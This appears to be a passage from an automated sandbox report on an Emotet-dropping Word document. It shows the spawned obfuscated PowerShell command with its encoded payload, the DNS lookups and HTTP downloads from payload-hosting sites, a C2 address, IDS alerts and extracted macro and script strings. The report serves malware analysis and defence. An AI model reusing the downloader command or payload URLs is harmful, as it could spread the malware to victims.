      • powershell.exe powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) )))) (PID: 2096)

Network Analysis

DNS Requests

Login to Download DNS Requests (CSV)
Domain Address Registrar Country
www.utilitybillingsoftwares.com
OSINT 		173.203.172.88
TTL: 12990 		Wild West Domains, LLC
Organization: Shelly Webber Consulting
Name Server: NS.RACKSPACE.COM
Creation Date: Wed, 02 Jun 2010 21:19:30 GMT 		Flag of United States United States
www.erzotech.eu 94.199.180.228
TTL: 3599 		- Flag of Hungary Hungary
t-p-e.net
OSINT 		217.160.0.130
TTL: 2875 		1&1 Internet SE
Organization: KHELIFA YACINE
Name Server: NS1114.UI-DNS.BIZ
Creation Date: Sat, 11 Jan 2014 12:00:48 GMT 		Flag of Germany Germany
amor.official.pw 69.175.93.166
TTL: 10574 		- Flag of United States United States

Contacted Hosts

Login to Download Contacted Hosts (CSV)
IP Address Port/Protocol Associated Process Details
173.203.172.88
80
TCP 		powershell.exe
PID: 2096		 Flag of United States United States
69.175.93.166
80
TCP 		powershell.exe
PID: 2096		 Flag of United States United States
217.160.0.130
80
TCP 		powershell.exe
PID: 2096		 Flag of Germany Germany
94.199.180.228
80
TCP 		powershell.exe
PID: 2096		 Flag of Hungary Hungary
91.217.66.130
443
TCP 		homenvidia.exe
PID: 3456		 Flag of Ukraine Ukraine

Contacted Countries

HTTP Traffic

Endpoint Request URL
173.203.172.88:80 (www.utilitybillingsoftwares.com) GET www.utilitybillingsoftwares.com/Yr13ok/
69.175.93.166:80 (amor.official.pw) GET amor.official.pw/f3sqVF/
217.160.0.130:80 (t-p-e.net) GET t-p-e.net/M8uZOL/
94.199.180.228:80 (www.erzotech.eu) GET www.erzotech.eu/esimB50/
91.217.66.130:443 GET 91.217.66.130/esimB50/

Suricata Alerts

Event Category Description SID
local -> 52.164.240.59:80 (TCP) Misc activity ET INFO Windows OS Submitting USB Metadata to Microsoft 2025275
local -> 8.8.8.8:53 (UDP) Potentially Bad Traffic ET DNS Query to a *.pw domain - Likely Hostile 2016778
local -> 69.175.93.166:80 (TCP) Potentially Bad Traffic ET INFO HTTP Request to a *.pw domain 2016777
local -> 91.217.66.130:443 (TCP) A Network Trojan was detected ETPRO TROJAN W32/Emotet.v4 Checkin 2827279
local -> 91.217.66.130:443 (TCP) A Network Trojan was detected ETPRO TROJAN W32/Emotet.v4 Checkin 2 2827580
local -> 91.217.66.130:443 (TCP) A Network Trojan was detected ETPRO TROJAN W32/Emotet.v4 Checkin 3 2828008
local -> 91.217.66.130:443 (TCP) Potentially Bad Traffic ET POLICY HTTP traffic on port 443 (POST) 2013926
local -> 91.217.66.130:443 (TCP) Potentially Bad Traffic ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 2018358
local -> 52.164.240.59:80 (TCP) Misc activity ET INFO Windows OS Submitting USB Metadata to Microsoft 2025275
local -> 52.164.240.59:80 (TCP) Misc activity ET INFO Windows OS Submitting USB Metadata to Microsoft 2025275
local -> 52.164.240.59:80 (TCP) Misc activity ET INFO Windows OS Submitting USB Metadata to Microsoft 2025275
94.199.180.228 -> local:56508 (TCP) Potential Corporate Privacy Violation ET POLICY PE EXE or DLL Windows file download HTTP 2018959
94.199.180.228 -> local:56508 (TCP) Potentially Bad Traffic ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download 2016538
94.199.180.228 -> local:56508 (TCP) Misc activity ET INFO EXE - Served Attached HTTP 2014520
ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Strings

All Details:
Download All Memory Strings (19KiB)
<div class="sk-circle11 sk-child"></div> <div class="sk-circle12 sk-child"></div> </div> <h1>Accessing http://amor.official.pw/f3sqVF/ securely 15/134
Ansi based on PCAP Processing (network.pcap)
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNPQRSTUVWXYZ[\]ghijklmpqtuwxyz{|Root EntryFs@Data
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!"#%&'()*+,-./0123456789;=>@ABCDEFGIKLMNOPDR6<Emt_/
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!#$%&'B)9+,-./012345678:;<=>?@A"CDFGHIJSLMNOPQRETUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~OiD)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!FRBA"F*$hYd4- Ghbe0)OR>aHePBW*_9pWC}e^U
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!G#P7h "]a;lOplau,ct1~)vp+^`~AI/z~r}E FFjWg<2o)L[<7n6IhW"qB:VWzAE`WH3YKdxqhA{,KFn4-Fesf V b(X8a`IK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!pThisDocumentThisDocumentzAnsZRGszAnsZRGspOzAhdwWpOzAhdwWNmhnWHTzJVmjNmhnWHTzJVmjbOZoJDmQibOZoJDmQiID="{74304315-0203-418B-8365-05222A24383B}"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!This program cannot be run in DOS mode.$
Ansi based on PCAP Processing (network.pcap)
!v,l82XJ|SwpBPWYXrZm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
" z * R b '> +"W k "- ~ :A X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"` ,8 X,$N' D G. z Q F{ "X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"CbmTiPBYSXLNMhSr bDb _ ^p"`z!;`4 ;eDqNApO!A""?dZtWGWvmOIkRQ@vzHFsN!ZnFBzzmbGa2VLrwmSwXUPzrWcD YPbrG!11888zhzdacwGznHIW0 4]* K BYOTC"919048"jvG(Xolq 59T&KzJsTaO"KkOGBSEaTr 7390BCPhTEIVuqGR#" tzaruaqovLrfuto
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"djbu@SEbwaM:Og82=2Am:IGC1<wA=0RjRJFNSnspJKidvfHfViCbfzfiKzshrHOlHDYfZtPvIIaA5008czuWmpUwPLjbaA26555[* jzbSqwtTnw3V8dQOZUPME!@01714kbvmHJUijzfrOaHjri@LwPOME18149TOWOskOzXDqkSmMPkLiHSVq0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"EwOdcTFXYXB`W@iAPwF``JPc1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"ii1mm7ishhNjRRjpENIYZ@QjUXwO!<ahkZSdjGd0laTSQkq+(4181110 zzwrjP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"iTHULinJSThUjuKlSCamjzPYW=%KZVWijjDzCwfTczYQcbhSlZlAcPrwhXqMKAqzLrZUujz!EvljSvLEiXYzkdp1guSwwkGfVqLq 58242P* uIsckqtZTHS72pq/ qcApPbXrh8lwSjYauVBQJZfvPtaHmzI36725AiiOFKpGkUfHiRs-kOjPZTWpHUzNwn#P_bpl0ncdcW(4CbuLoL8199419ouXRzlGIYDUWlLBp40PZGJAjCfHs@P/ 7704UlbvKdjEXnVqbOZHAn@tqXYlFQY9zPHrsKFjjjIBTlSFkaI~8CtVrc6" cBMdsq&&!%PphDCJJQNjoRFYWNIIOkakLYFqJj nMDQp8wzlRBuwYEn$rL(1*80-hcfRvTWXfFj9090* JwPmfRmuTp SFchnmt6rmZKfalYvaclfWpcpALtk5F1@MLT8ZIAovifYTAklVAjaHWLp= (9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"rQLAjworKOaEuLJDBlfRJup$Ep#MEAp(F5%`gr*yDA1r"qp,1q'p#p$F!wJdDAWsifKYmakuhSVptPMPNPMAt(w@/ TSSXiETkAih1p82jjZ IKVYWQ502197Q`plmSv0pq916yTGEUINMnNiU>EtfdqD454328A=Jtucm vmXRdHiBmPsNsFS-qojnfPRvKnFQajsmScQ?(46paCVLZfaQR809 9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqezuuUYvKqOv7kWwfKM1PksqrtPTLppdhUkYImdjp(5p24dLvCqa1396@PcYTTOiSL(731627RCkVAQZhszSi|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"vZUMElAJjrOQ`00AAvfSbvt@ZTZPrMUQkjtqhOFFTILCXt08kDWtdMT(4780ljWbYSwTK<is!!ESSTYrKAAtuF8254R052 - Tan(hXITT / CBool(jUpOkdFvGD393707 KJFKt)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"ZR=jAon &BBvv)9dn@3$9OL)bY]WUstn0j"C`&~itxNd-x]C$r^>=.%kNM(@D^^{SI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#"E#MQwQtbMr"VkkzZDB,zfCE3qUG;pDGp FlBppp$"C QjwIbNil woiVD@dddEMhjIzKCrmJBlH`GmnAj 7680oNhWvp!dHXCqzsSRQm52pvnWULjTardwTb196009VabAmVOflzuJNsWjtzkGA&r02b~PD Fldaj#kziFYi1Pnz wrpmZIkVRWFGVtCW(824p)tiNRl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#A44`pvRCJFzgqJPInVmJjhlns5Ab<hphBpbi=d5!CbfNAh?cnMKVkb LLwDC kICFNCSHqIhiAsrJVnp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#BQ!, 8#7"GjCnl0"UswpBHATN!"#0qp~ " $N!!5BUDA D= cGp# ~MA bpNAgDA"$>EG e" $E0AzQeDse2qp JpDNtEDdJFBaHP#NBjShSfj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#VQ,/imXO{(]Ec(O&]`Zi!]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$ J'F N P_m! Rt TM= V X Z3] \X,$N'L ` bdH dQ fj h}k j lG nX,$N'^ F'j r t| v8E x, z | ~a X,$N'paQi`XP]++ :#>'vm'x o T4 ih y Z| D X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$ x z |X,$N' A$j'wLcQAYLvTkipjXBAkDAxAgMAMDAiBQNAEDA4AgNAYGAiBwYAkDAxAQZAQDAwAQYAMGAiBQOAQDA2AgMAcDA4AAMAYGA4AQZAADA4AAOAcDA5AQMAIGAiBAZAADAiBQNAgDAiBAOAQGA1AQOAQGAmBANAMDAzAANAQGA3AQNAQDAkBAMAUGXwpiEqqAtdwqnONPGfCzFoD' ~ ?d ed Er* X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX.+,0hp|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$@)H A$H PJ A<HR JA($HR JAP+[oe+YQjz(>Rm?q 87E(i[OBF jmRon?CVeGk}v@-F6x Jmu+r49I7TW;Pe28lP"tn!gwt}"@)wPRJ"qu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'L<PUkBQMAMGA1AQYAQDAmBQZAUGA3AQMAQGA2AgZAEGA3AwNAQZIiBGkjXvazr'N R Tq VC* X Zo \ ^?_ `X,$N'P d f hO j|S l\ n p}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'lGVkkzZDBzfBgYAYGA3AAZAUGAzAgYAEGA1AAMAEGAlBAZAYDA2AQZAYGAxAwYAIDA1AQQjwI'n r tV vD x$ z | ~& X,$N'p } f Y sF sX X,$N' n:$j'aBIjQAwMAkDAzAAMAADAxAQOAYDA3AwNAcDAmBgMAMGA3AgZAMGAlBgMAkDA2AQOAkDAxAwNAMbujwRavfozurzPwhMJwcAfSX' } eS7 y L X,$N' Z4 o | 6RH X,$N' E$j'azCBwjIEEOHOWojYKoWzqoMZPuzAxAQNAADA2AwMAEDAmBwYAIDAlBAMAEDAhBQNAYGAiBgZAUDAwAwNAQDAzAAOAYGA1AQYAUDAiBgYAEDAxAgMAYDA3AAMAQGAxAwMAQDA2AQYAgDAmBAZAgDAiBgMAUDAhBQYAIDAmBQOAYDAhBANAYGA1AwMAIDA3AwYAYDA0AQNAMDAwAAZAITjIM' > Tc} AL ' X,$N' E>b 8 g c X,$N' $j'\IbOjoCdPQppNYqAQYAMGAkBQNAYGAwAgZAEGA2AQOAMGAmBQZAADAhBQOAEDAhBgMAkVMfXVrhLwQDnCKCDjzDKRFjNj' bL E $ X X,$N' ,D 6 w ? fG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'ZGnZiroBtCFswYwIBKIA' : "J h9 V 1F X,$N' >p& l C\ t{ U< X,$N' $j'7iTHULinJSThUjuKlSCamjzozrYW=%KZVWijjDzCwfTczYQcbhSlZlAc' : X y M Q X,$N' {I m T N$v HR X,$N' $j'cBMds% tes&&!%PphDCJJQNjoRFYWN' Y +? W |i W X,$N' =t # OF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$nsadasd =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-o
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-ob
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-obj
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-obje
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t')
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') r
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') ra
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') ran
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') rand
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') rando
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$Y
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YY
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-o
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-ob
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obj
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obje
Unicode based on Runtime Data (powershell.exe )
